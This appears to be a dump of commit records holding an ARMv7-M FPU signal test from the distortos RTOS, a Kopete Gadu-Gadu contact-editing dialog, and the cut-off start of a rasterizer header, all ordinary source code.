contexts\n\t\t{0, 0, 0, 0x0b39fa96},\t\t\t\t\t\t\/\/ in handler\n\t\t{0, 0, 0x8606151d, 0},\t\t\t\t\t\t\/\/ in \"sender\" (at the end)\n\t\t{0, 0, 0x8bdd3b5e, 0x7d21d1c6},\t\t\t\t\/\/ in \"sender\" (at the end) and in handler\n\t\t{0, 0x2f884196, 0, 0},\t\t\t\t\t\t\/\/ in \"sender\" (at the beginning)\n\t\t{0, 0x0b0bbc86, 0, 0x0e43811b},\t\t\t\t\/\/ in \"sender\" (at the beginning) and in handler\n\t\t{0, 0xb72b2917, 0x8c27baa7, 0},\t\t\t\t\/\/ in \"sender\"\n\t\t{0, 0xa83b80c2, 0xd2b7dd4d, 0x626ca399},\t\/\/ in \"sender\" and in handler\n\t\t{0xb4e40525, 0, 0, 0},\t\t\t\t\t\t\/\/ in main thread\n\t\t{0x772bdf91, 0, 0, 0x0bb325b7},\t\t\t\t\/\/ in main thread and in handler\n\t\t{0x8a19625e, 0, 0x32378f7b, 0},\t\t\t\t\/\/ in main thread and in \"sender\" (at the end)\n\t\t{0xd17a21db, 0, 0xaa807a91, 0x03caf264},\t\/\/ in main thread, in \"sender\" (at the end) and in handler\n\t\t{0xe4b44073, 0xa88c0cf5, 0, 0},\t\t\t\t\/\/ in main thread and in \"sender\" (at the beginning)\n\t\t{0xb94c722b, 0x5f8ca773, 0, 0x288301cf},\t\/\/ in main thread, in \"sender\" (at the beginning) and in handler\n\t\t{0x347ecfc5, 0xcb4a3584, 0x5a8bf219, 0},\t\/\/ in main thread and in \"sender\"\n\t\t{0x788ed92e, 0x4b0ddff9, 0x73776a21, 0x48fb1969},\t\/\/ in all contexts\n};\n\n}\t\/\/ namespace\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| protected functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nbool FpuSignalTestCase::finalize() const\n{\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\tdisableFpuContext();\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\treturn SignalsTestCaseCommon::finalize();\n}\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| private functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nbool FpuSignalTestCase::run_() const\n{\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\tconst auto contextSwitchCount = statistics::getContextSwitchCount();\n\tauto expectedContextSwitchCount = decltype(contextSwitchCount){};\n\n\t{\n\t\tint ret;\n\t\tstd::tie(ret, std::ignore) = ThisThread::Signals::setSignalAction(testSignalNumber,\n\t\t\t\tSignalAction{handler, SignalSet{SignalSet::empty}});\n\t\tif (ret != 0)\n\t\t\treturn false;\n\t}\n\n\tauto& currentThread = ThisThread::get();\n\n\tfor (auto& phase : phases)\n\t\tfor (auto& stage : stages)\n\t\t{\n\t\t\tdisableFpuContext();\n\n\t\t\tdecltype(setFpuRegisters({}, {})) fpscr {};\n\t\t\tif (stage.threadValue != 0)\t\/\/ should FPU be used in main thread?\n\t\t\t\tfpscr = setFpuRegisters(stage.threadValue, true);\n\n\t\t\tif (phase.sender(currentThread, stage) != 0)\n\t\t\t\treturn false;\n\n\t\t\t\/\/ FPU context may be active only if FPU was used in main thread\n\t\t\tif (isFpuContextActive() != (stage.threadValue != 0))\n\t\t\t\treturn false;\n\n\t\t\tif (stage.threadValue != 0)\t\/\/ was FPU used in main thread?\n\t\t\t\tif (checkFpuRegisters(stage.threadValue, fpscr) == false)\n\t\t\t\t\treturn false;\n\n\t\t\texpectedContextSwitchCount += phase.contextSwitchCount;\n\t\t\tif (statistics::getContextSwitchCount() - contextSwitchCount != expectedContextSwitchCount)\n\t\t\t\treturn false;\n\t\t}\n\n\tif (statistics::getContextSwitchCount() - contextSwitchCount != expectedContextSwitchCount)\n\t\treturn false;\n\n\treturn true;\n\n#else\n\n\treturn true;\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n}\n\n}\t\/\/ namespace test\n\n}\t\/\/ namespace distortos\n<commit_msg>test: convert ARMv7-M-FpuSignalTestCase to use dynamic threads<commit_after>\/**\n * \\file\n * \\brief FpuSignalTestCase class implementation for ARMv7-M (Cortex-M3 \/ Cortex-M4)\n *\n * \\author Copyright (C) 2015-2016 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\date 2016-01-04\n *\/\n\n#include \"ARMv7-M-FpuSignalTestCase.hpp\"\n\n#include \"distortos\/chip\/CMSIS-proxy.h\"\n\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\n#include \"checkFpuRegisters.hpp\"\n#include \"setFpuRegisters.hpp\"\n\n#include \"distortos\/DynamicThread.hpp\"\n#include \"distortos\/StaticSoftwareTimer.hpp\"\n#include \"distortos\/statistics.hpp\"\n#include \"distortos\/ThisThread.hpp\"\n#include \"distortos\/ThisThread-Signals.hpp\"\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n\nnamespace distortos\n{\n\nnamespace test\n{\n\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\nnamespace\n{\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local types\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ values used in single test stage\nstruct Stage\n{\n\t\/\/\/ value written to all FPU registers in main thread, don't use FPU in main thread if 0\n\tuint32_t threadValue;\n\n\t\/\/\/ value written to \"lower\" FPU registers in \"sender\" before queuing of signal, skip this step if 0\n\tuint32_t senderValueBefore;\n\n\t\/\/\/ value written to \"lower\" FPU registers in \"sender\" after queuing of signal, skip this step if 0\n\tuint32_t senderValueAfter;\n\n\t\/\/\/ signal value, written to \"lower\" FPU registers in handler, don't use FPU in handler if 0\n\tint signalValue;\n};\n\n\/\/\/ description of single test phase\nstruct Phase\n{\n\t\/\/\/ type of \"sender\" function\n\tusing Sender = int(Thread&, const Stage&);\n\n\t\/\/\/ reference to \"sender\" function\n\tSender& sender;\n\n\t\/\/\/ expected number of context switches for single stage executed in this phase\n\tdecltype(statistics::getContextSwitchCount()) contextSwitchCount;\n};\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local constants\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ tested signal number\nconstexpr uint8_t testSignalNumber {16};\n\n\/\/\/ size of stack for test thread, bytes\nconstexpr size_t testThreadStackSize {512};\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/**\n * \\brief Disables FPU context for current thread by clearing FPCA bit in CONTROL register.\n *\/\n\nvoid disableFpuContext()\n{\n\tconst auto control = __get_CONTROL();\n\t__set_CONTROL(control & ~CONTROL_FPCA_Msk);\n}\n\n\/**\n * \\brief Signal handler\n *\n * Sets \"lower\" FPU registers (s0-s15 and FPSCR) using the value queued with signal, unless this value is 0.\n *\n * \\param [in] signalInformation is a reference to received SignalInformation object\n *\/\n\nvoid handler(const SignalInformation& signalInformation)\n{\n\tconst auto value = signalInformation.getValue().sival_int;\n\tif (value == 0)\n\t\treturn;\n\n\tsetFpuRegisters(value, false);\n}\n\n\/**\n * \\brief Tests whether FPU context is active for current thread.\n *\n * \\return true if FPU context is active for current thread (FPCA bit in CONTROL register is set), false otherwise\n *\/\n\nbool isFpuContextActive()\n{\n\tconst auto control = __get_CONTROL();\n\treturn (control & CONTROL_FPCA_Msk) != 0;\n}\n\n\/**\n * \\brief Test wrapper for Thread::queueSignal() that also modifies FPU registers.\n *\n * \\param [in] thread is a reference to thread to which the signal will be queued\n * \\param [in] stage is a reference to test stage\n * \\param [in] full is the \\a full argument passed to setFpuRegisters()\n * \\param [in] sharedRet is a reference to int variable which will be written with 0 on success, error code otherwise\n *\/\n\nvoid queueSignalWrapper(Thread& thread, const Stage& stage, const bool full, int& sharedRet)\n{\n\tif (stage.senderValueBefore != 0)\t\/\/ should FPU be used at the beginning of \"sender\"?\n\t\tsetFpuRegisters(stage.senderValueBefore, full);\n\n\tsharedRet = thread.queueSignal(testSignalNumber, sigval{stage.signalValue});\n\n\tif (stage.senderValueAfter != 0)\t\/\/ should FPU be used at th\"sender\"\"sender\"?\n\t\tsetFpuRegisters(stage.senderValueAfter, full);\n}\n\n\/**\n * \\brief Queues signal from interrupt (via software timer) to current thread.\n *\n * \\param [in] thread is a reference to thread to which the signal will be queued\n * \\param [in] stage is a reference to test stage\n *\n * \\return 0 on success, error code otherwise:\n * - error codes returned by Thread::queueSignal();\n *\/\n\nint queueSignalFromInterrupt(Thread& thread, const Stage& stage)\n{\n\tint sharedRet {EINVAL};\n\tauto softwareTimer = makeStaticSoftwareTimer(queueSignalWrapper, std::ref(thread), std::ref(stage), false,\n\t\t\tstd::ref(sharedRet));\n\n\tsoftwareTimer.start(TickClock::duration{});\n\twhile (softwareTimer.isRunning() == true);\n\n\treturn sharedRet;\n}\n\n\/**\n * \\brief Queues signal from thread to non-current thread.\n *\n * \\param [in] thread is a reference to thread to which the signal will be queued\n * \\param [in] stage is a reference to test stage\n *\n * \\return 0 on success, error code otherwise:\n * - error codes returned by Thread::queueSignal();\n *\/\n\nint queueSignalFromThread(Thread& thread, const Stage& stage)\n{\n\tconstexpr decltype(FpuSignalTestCase::getTestCasePriority()) highPriority\n\t{\n\t\t\tFpuSignalTestCase::getTestCasePriority() + 1\n\t};\n\n\tint sharedRet {EINVAL};\n\tauto testThread = makeDynamicThread({testThreadStackSize, highPriority}, queueSignalWrapper, std::ref(thread),\n\t\t\tstd::ref(stage), true, std::ref(sharedRet));\n\n\ttestThread.start();\n\ttestThread.join();\n\n\treturn sharedRet;\n}\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local constants\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ test phasese\nconst Phase phases[]\n{\n\t\t{queueSignalFromInterrupt, 0},\n\t\t{queueSignalFromThread, 2},\n};\n\n\/\/\/ test stages\nconst Stage stages[]\n{\n\t\t{0, 0, 0, 0},\t\t\t\t\t\t\t\t\/\/ don't use FPU in all contexts\n\t\t{0, 0, 0, 0x0b39fa96},\t\t\t\t\t\t\/\/ in handler\n\t\t{0, 0, 0x8606151d, 0},\t\t\t\t\t\t\/\/ in \"sender\" (at the end)\n\t\t{0, 0, 0x8bdd3b5e, 0x7d21d1c6},\t\t\t\t\/\/ in \"sender\" (at the end) and in handler\n\t\t{0, 0x2f884196, 0, 0},\t\t\t\t\t\t\/\/ in \"sender\" (at the beginning)\n\t\t{0, 0x0b0bbc86, 0, 0x0e43811b},\t\t\t\t\/\/ in \"sender\" (at the beginning) and in handler\n\t\t{0, 0xb72b2917, 0x8c27baa7, 0},\t\t\t\t\/\/ in \"sender\"\n\t\t{0, 0xa83b80c2, 0xd2b7dd4d, 0x626ca399},\t\/\/ in \"sender\" and in handler\n\t\t{0xb4e40525, 0, 0, 0},\t\t\t\t\t\t\/\/ in main thread\n\t\t{0x772bdf91, 0, 0, 0x0bb325b7},\t\t\t\t\/\/ in main thread and in handler\n\t\t{0x8a19625e, 0, 0x32378f7b, 0},\t\t\t\t\/\/ in main thread and in \"sender\" (at the end)\n\t\t{0xd17a21db, 0, 0xaa807a91, 0x03caf264},\t\/\/ in main thread, in \"sender\" (at the end) and in handler\n\t\t{0xe4b44073, 0xa88c0cf5, 0, 0},\t\t\t\t\/\/ in main thread and in \"sender\" (at the beginning)\n\t\t{0xb94c722b, 0x5f8ca773, 0, 0x288301cf},\t\/\/ in main thread, in \"sender\" (at the beginning) and in handler\n\t\t{0x347ecfc5, 0xcb4a3584, 0x5a8bf219, 0},\t\/\/ in main thread and in \"sender\"\n\t\t{0x788ed92e, 0x4b0ddff9, 0x73776a21, 0x48fb1969},\t\/\/ in all contexts\n};\n\n}\t\/\/ namespace\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| protected functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nbool FpuSignalTestCase::finalize() const\n{\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\tdisableFpuContext();\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\treturn SignalsTestCaseCommon::finalize();\n}\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| private functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nbool FpuSignalTestCase::run_() const\n{\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\n\tconst auto contextSwitchCount = statistics::getContextSwitchCount();\n\tauto expectedContextSwitchCount = decltype(contextSwitchCount){};\n\n\t{\n\t\tint ret;\n\t\tstd::tie(ret, std::ignore) = ThisThread::Signals::setSignalAction(testSignalNumber,\n\t\t\t\tSignalAction{handler, SignalSet{SignalSet::empty}});\n\t\tif (ret != 0)\n\t\t\treturn false;\n\t}\n\n\tauto& currentThread = ThisThread::get();\n\n\tfor (auto& phase : phases)\n\t\tfor (auto& stage : stages)\n\t\t{\n\t\t\tdisableFpuContext();\n\n\t\t\tdecltype(setFpuRegisters({}, {})) fpscr {};\n\t\t\tif (stage.threadValue != 0)\t\/\/ should FPU be used in main thread?\n\t\t\t\tfpscr = setFpuRegisters(stage.threadValue, true);\n\n\t\t\tif (phase.sender(currentThread, stage) != 0)\n\t\t\t\treturn false;\n\n\t\t\t\/\/ FPU context may be active only if FPU was used in main thread\n\t\t\tif (isFpuContextActive() != (stage.threadValue != 0))\n\t\t\t\treturn false;\n\n\t\t\tif (stage.threadValue != 0)\t\/\/ was FPU used in main thread?\n\t\t\t\tif (checkFpuRegisters(stage.threadValue, fpscr) == false)\n\t\t\t\t\treturn false;\n\n\t\t\texpectedContextSwitchCount += phase.contextSwitchCount;\n\t\t\tif (statistics::getContextSwitchCount() - contextSwitchCount != expectedContextSwitchCount)\n\t\t\t\treturn false;\n\t\t}\n\n\tif (statistics::getContextSwitchCount() - contextSwitchCount != expectedContextSwitchCount)\n\t\treturn false;\n\n\treturn true;\n\n#else\n\n\treturn true;\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n}\n\n}\t\/\/ namespace test\n\n}\t\/\/ namespace distortos\n<|endoftext|>"} {"text":"<commit_before>\/\/ -*- Mode: c++-mode; c-basic-offset: 2; indent-tabs-mode: t; tab-width: 2; -*-\n\/\/\n\/\/ Copyright (C) 2003 Grzegorz Jaskiewicz \t<gj at pointblue.com.pl>\n\/\/\n\/\/ gadueditcontact.cpp\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License\n\/\/ as published by the Free Software Foundation; either version 2\n\/\/ of the License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n\/\/ 02111-1307, USA.\n\n#include \"gaduaccount.h\"\n#include \"gaducontact.h\"\n#include \"gadueditcontact.h\"\n#include \"kopeteonlinestatus.h\"\n\n#include \"gaducontactlist.h\"\n#include \"gaduadd.h\"\n\n#include <ktextedit.h>\n#include <klocale.h>\n#include <kdebug.h>\n#include <kopetegroup.h>\n#include <kopetecontactlist.h>\n#include <kopetemetacontact.h>\n\n#include <qbuttongroup.h>\n#include <qradiobutton.h>\n#include <qlineedit.h>\n#include <qlayout.h>\n#include <qlistview.h>\n#include <qptrlist.h>\n\n#include <krestrictedline.h>\n\n\/\/ FIXME: this and gaduadcontactpage should have one base class, with some code duplicated in both.\n\nGaduEditContact::GaduEditContact( GaduAccount* account, GaduContact* contact,\n\t\t QWidget* parent, const char* name )\n: KDialogBase( parent, name, true, i18n( \"Edit Contact's Properties\" ),\n\t\t\t KDialogBase::Ok | KDialogBase::Cancel,\n\t\t\t KDialogBase::Ok, true ), account_( account ), contact_( contact )\n{\n\tif ( contact && account ) {\n\t\tcl_ = contact->contactDetails();\n\t}\n\telse {\n\t\treturn;\n\t}\n\n\tinit();\n\tfillGroups();\n\tfillIn();\n}\n\nGaduEditContact::GaduEditContact( GaduAccount* account, GaduContactsList::ContactLine* clin,\n\t\t QWidget* parent , const char* name )\n: KDialogBase( parent, name, true, i18n( \"Edit Contact's Properties\" ),\n\t\t\t KDialogBase::Ok | KDialogBase::Cancel,\n\t\t\t KDialogBase::Ok, true ), account_( account ), contact_( NULL )\n{\n\n\tif ( !account ) {\n\t\treturn;\n\t}\n\tcl_ = clin;\n\tinit();\n\tfillGroups();\n\tfillIn();\n}\n\nvoid\nGaduEditContact::fillGroups()\n{\n\tKopete::Group *g, *cg;\n\tQPtrList<Kopete::Group> cgl;\n\tQPtrList<Kopete::Group> gl;\n\n\tif ( contact_ ) {\n\t\tcgl = contact_->metaContact()->groups();\n\t}\n\n\tgl = Kopete::ContactList::self()->groups();\n\n\tfor( g = gl.first(); g; g = gl.next() ) {\n\t\tif ( g->type() == Kopete::Group::Temporary ) {\n\t\t\tcontinue;\n\t\t}\n\t\tQCheckListItem* item = new QCheckListItem( ui_->groups, g->displayName(), QCheckListItem::CheckBox );\n\t\t\/\/ FIXME: optimize this O(2) search\n\t\tfor( cg = cgl.first(); cg; cg = cgl.next() ) {\n\t\t\tif ( cg->groupId() == g->groupId() ) {\n\t\t\t\titem->setOn( TRUE );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tkdDebug(14100) << g->displayName() << \" \" << g->groupId() << endl;\n\t}\n}\n\nvoid\nGaduEditContact::init()\n{\n\tui_ = new GaduAddUI( this );\n\tsetMainWidget( ui_ );\n\tui_->addEdit_->setValidChars( \"1234567890\" );\n\n\t\/\/ fill values from cl into proper fields on widget\n\n\tshow();\n\tconnect( this, SIGNAL( okClicked() ), SLOT( slotApply() ) );\n\tconnect( ui_->groups, SIGNAL( clicked( QListViewItem * ) ), SLOT( listClicked( QListViewItem * ) ) );\n}\n\nvoid\nGaduEditContact::listClicked( QListViewItem* item )\n{\n\n}\n\nvoid\nGaduEditContact::fillIn()\n{\n\/\/ grey it out, it shouldn't be editable\n\tui_->addEdit_->setReadOnly( true );\n\tui_->addEdit_->setText( cl_->uin );\n\n\tui_->fornameEdit_->setText( cl_->firstname );\n\tui_->snameEdit_->setText( cl_->surname );\n\tui_->nickEdit_->setText( cl_->nickname );\n\tui_->emailEdit_->setText( cl_->email );\n\tui_->telephoneEdit_->setText( cl_->phonenr );\n\/\/\tui_->notAFriend_;\n\n}\n\nvoid\nGaduEditContact::slotApply()\n{\n\tQPtrList<Kopete::Group> gl;\n\tKopete::Group* group;\n\n\tcl_->firstname = ui_->fornameEdit_->text().stripWhiteSpace();\n\tcl_->surname = ui_->snameEdit_->text().stripWhiteSpace();\n\tcl_->nickname = ui_->nickEdit_->text().stripWhiteSpace();\n\tcl_->email = ui_->emailEdit_->text().stripWhiteSpace();\n\tcl_->phonenr = ui_->telephoneEdit_->text().stripWhiteSpace();\n\n\tif ( contact_ == NULL ) {\n\t\t\/\/ contact doesn't exists yet, create it and set all the details\n\t\tbool s = account_->addContact( cl_->uin, GaduContact::findBestContactName( cl_ ), 0L, Kopete::Account::DontChangeKABC);\n\t\tif ( s == false ) {\n\t\t\tkdDebug(14100) << \"There was a problem adding UIN \"<< cl_->uin << \"to users list\" << endl;\n\t\t\treturn;\n\t\t}\n\t\tcontact_ = static_cast<GaduContact*>( account_->contacts()[ cl_->uin ] );\n\t\tif ( contact_ == NULL ) {\n\t\t\tkdDebug(14100) << \"oops, no Kopete::Contact in contacts()[] for some reason, for \\\"\" << cl_->uin << \"\\\"\" << endl;\n\t\t\treturn;\n\t\t}\n\t}\n\n\tcontact_->setContactDetails( cl_ );\n\n\tgl = Kopete::ContactList::self()->groups();\n\tfor ( QListViewItemIterator it( ui_->groups ); it.current(); ++it ) {\n\t\tQCheckListItem *check = dynamic_cast<QCheckListItem *>( it.current() );\n\t\t\n\t\tif ( !check ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ( check->isOn() ) {\n\t\t\tfor( group = gl.first(); group; group = gl.next() ) {\n\t\t\t\tif ( group->displayName() == check->text() ) {\n\t\t\t\t\tcontact_->metaContact()->addToGroup( group );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ check metacontact's in the group, and if so, remove it from\n\t\t\tfor( group = gl.first(); group; group = gl.next() ) {\n\t\t\t\tif ( group->displayName() == check->text() ) {\n\t\t\t\t\tcontact_->metaContact()->removeFromGroup( group );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif( contact_->metaContact()->groups().isEmpty() == TRUE )\n\t\tcontact_->metaContact()->addToGroup( Kopete::Group::topLevel() );\n}\n#include \"gadueditcontact.moc\"\n<commit_msg>do not whine<commit_after>\/\/ -*- Mode: c++-mode; c-basic-offset: 2; indent-tabs-mode: t; tab-width: 2; -*-\n\/\/\n\/\/ Copyright (C) 2003 Grzegorz Jaskiewicz \t<gj at pointblue.com.pl>\n\/\/\n\/\/ gadueditcontact.cpp\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License\n\/\/ as published by the Free Software Foundation; either version 2\n\/\/ of the License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n\/\/ 02111-1307, USA.\n\n#include \"gaduaccount.h\"\n#include \"gaducontact.h\"\n#include \"gadueditcontact.h\"\n#include \"kopeteonlinestatus.h\"\n\n#include \"gaducontactlist.h\"\n#include \"gaduadd.h\"\n\n#include <ktextedit.h>\n#include <klocale.h>\n#include <kdebug.h>\n#include <kopetegroup.h>\n#include <kopetecontactlist.h>\n#include <kopetemetacontact.h>\n\n#include <qbuttongroup.h>\n#include <qradiobutton.h>\n#include <qlineedit.h>\n#include <qlayout.h>\n#include <qlistview.h>\n#include <qptrlist.h>\n\n#include <krestrictedline.h>\n\n\/\/ FIXME: this and gaduadcontactpage should have one base class, with some code duplicated in both.\n\nGaduEditContact::GaduEditContact( GaduAccount* account, GaduContact* contact,\n\t\t QWidget* parent, const char* name )\n: KDialogBase( parent, name, true, i18n( \"Edit Contact's Properties\" ),\n\t\t\t KDialogBase::Ok | KDialogBase::Cancel,\n\t\t\t KDialogBase::Ok, true ), account_( account ), contact_( contact )\n{\n\tif ( contact && account ) {\n\t\tcl_ = contact->contactDetails();\n\t}\n\telse {\n\t\treturn;\n\t}\n\n\tinit();\n\tfillGroups();\n\tfillIn();\n}\n\nGaduEditContact::GaduEditContact( GaduAccount* account, GaduContactsList::ContactLine* clin,\n\t\t QWidget* parent , const char* name )\n: KDialogBase( parent, name, true, i18n( \"Edit Contact's Properties\" ),\n\t\t\t KDialogBase::Ok | KDialogBase::Cancel,\n\t\t\t KDialogBase::Ok, true ), account_( account ), contact_( NULL )\n{\n\n\tif ( !account ) {\n\t\treturn;\n\t}\n\tcl_ = clin;\n\tinit();\n\tfillGroups();\n\tfillIn();\n}\n\nvoid\nGaduEditContact::fillGroups()\n{\n\tKopete::Group *g, *cg;\n\tQPtrList<Kopete::Group> cgl;\n\tQPtrList<Kopete::Group> gl;\n\n\tif ( contact_ ) {\n\t\tcgl = contact_->metaContact()->groups();\n\t}\n\n\tgl = Kopete::ContactList::self()->groups();\n\n\tfor( g = gl.first(); g; g = gl.next() ) {\n\t\tif ( g->type() == Kopete::Group::Temporary ) {\n\t\t\tcontinue;\n\t\t}\n\t\tQCheckListItem* item = new QCheckListItem( ui_->groups, g->displayName(), QCheckListItem::CheckBox );\n\t\t\/\/ FIXME: optimize this O(2) search\n\t\tfor( cg = cgl.first(); cg; cg = cgl.next() ) {\n\t\t\tif ( cg->groupId() == g->groupId() ) {\n\t\t\t\titem->setOn( TRUE );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tkdDebug(14100) << g->displayName() << \" \" << g->groupId() << endl;\n\t}\n}\n\nvoid\nGaduEditContact::init()\n{\n\tui_ = new GaduAddUI( this );\n\tsetMainWidget( ui_ );\n\tui_->addEdit_->setValidChars( \"1234567890\" );\n\n\t\/\/ fill values from cl into proper fields on widget\n\n\tshow();\n\tconnect( this, SIGNAL( okClicked() ), SLOT( slotApply() ) );\n\tconnect( ui_->groups, SIGNAL( clicked( QListViewItem * ) ), SLOT( listClicked( QListViewItem * ) ) );\n}\n\nvoid\nGaduEditContact::listClicked( QListViewItem* \/*item*\/ )\n{\n\n}\n\nvoid\nGaduEditContact::fillIn()\n{\n\/\/ grey it out, it shouldn't be editable\n\tui_->addEdit_->setReadOnly( true );\n\tui_->addEdit_->setText( cl_->uin );\n\n\tui_->fornameEdit_->setText( cl_->firstname );\n\tui_->snameEdit_->setText( cl_->surname );\n\tui_->nickEdit_->setText( cl_->nickname );\n\tui_->emailEdit_->setText( cl_->email );\n\tui_->telephoneEdit_->setText( cl_->phonenr );\n\/\/\tui_->notAFriend_;\n\n}\n\nvoid\nGaduEditContact::slotApply()\n{\n\tQPtrList<Kopete::Group> gl;\n\tKopete::Group* group;\n\n\tcl_->firstname = ui_->fornameEdit_->text().stripWhiteSpace();\n\tcl_->surname = ui_->snameEdit_->text().stripWhiteSpace();\n\tcl_->nickname = ui_->nickEdit_->text().stripWhiteSpace();\n\tcl_->email = ui_->emailEdit_->text().stripWhiteSpace();\n\tcl_->phonenr = ui_->telephoneEdit_->text().stripWhiteSpace();\n\n\tif ( contact_ == NULL ) {\n\t\t\/\/ contact doesn't exists yet, create it and set all the details\n\t\tbool s = account_->addContact( cl_->uin, GaduContact::findBestContactName( cl_ ), 0L, Kopete::Account::DontChangeKABC);\n\t\tif ( s == false ) {\n\t\t\tkdDebug(14100) << \"There was a problem adding UIN \"<< cl_->uin << \"to users list\" << endl;\n\t\t\treturn;\n\t\t}\n\t\tcontact_ = static_cast<GaduContact*>( account_->contacts()[ cl_->uin ] );\n\t\tif ( contact_ == NULL ) {\n\t\t\tkdDebug(14100) << \"oops, no Kopete::Contact in contacts()[] for some reason, for \\\"\" << cl_->uin << \"\\\"\" << endl;\n\t\t\treturn;\n\t\t}\n\t}\n\n\tcontact_->setContactDetails( cl_ );\n\n\tgl = Kopete::ContactList::self()->groups();\n\tfor ( QListViewItemIterator it( ui_->groups ); it.current(); ++it ) {\n\t\tQCheckListItem *check = dynamic_cast<QCheckListItem *>( it.current() );\n\t\t\n\t\tif ( !check ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ( check->isOn() ) {\n\t\t\tfor( group = gl.first(); group; group = gl.next() ) {\n\t\t\t\tif ( group->displayName() == check->text() ) {\n\t\t\t\t\tcontact_->metaContact()->addToGroup( group );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ check metacontact's in the group, and if so, remove it from\n\t\t\tfor( group = gl.first(); group; group = gl.next() ) {\n\t\t\t\tif ( group->displayName() == check->text() ) {\n\t\t\t\t\tcontact_->metaContact()->removeFromGroup( group );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif( contact_->metaContact()->groups().isEmpty() == TRUE )\n\t\tcontact_->metaContact()->addToGroup( Kopete::Group::topLevel() );\n}\n#include \"gadueditcontact.moc\"\n<|endoftext|>"} {"text":"<commit_before>#include \"rasterizer.h\"\n\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n\/\/ Fine raster works on blocks of 2x2 pixels, since NEON can fine rasterize a block in parallel using SIMD-4.\n\/\/ Coarse raster works on 2x2 blocks of fine blocks, since 4 fine blocks are processed in parallel. Therefore, 4x4 pixels per coarse block.\n\/\/ Tile raster works on 2x2 blocks of coarse blocks, since 4 coarse blocks are processed in parallel. Therefore, 8x8 pixels per tile.\n#define FRAMEBUFFER_TILE_WIDTH_IN_PIXELS 128\n#define FRAMEBUFFER_COARSE_BLOCK_WIDTH_IN_PIXELS 16\n#define FRAMEBUFFER_FINE_BLOCK_WIDTH_IN_PIXELS 4\n\n\/\/ The swizzle masks, using alternating yxyxyx bit pattern for morton-code swizzling pixels in a tile.\n\/\/ This makes the pixels morton code swizzled within every rasterization level (fine\/coarse\/tile)\n\/\/ The tiles themselves are stored row major.\n\/\/ For examples of this concept, see:\n\/\/ https:\/\/software.intel.com\/en-us\/node\/514045\n\/\/ https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/dn770442%28v=vs.85%29.aspx\n#define FRAMEBUFFER_TILE_X_SWIZZLE_MASK (0x55555555 & (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1))\n#define FRAMEBUFFER_TILE_Y_SWIZZLE_MASK (~FRAMEBUFFER_TILE_X_SWIZZLE_MASK & (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1))\n\n\/\/ Convenience\n#define FRAMEBUFFER_PIXELS_PER_TILE (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS * 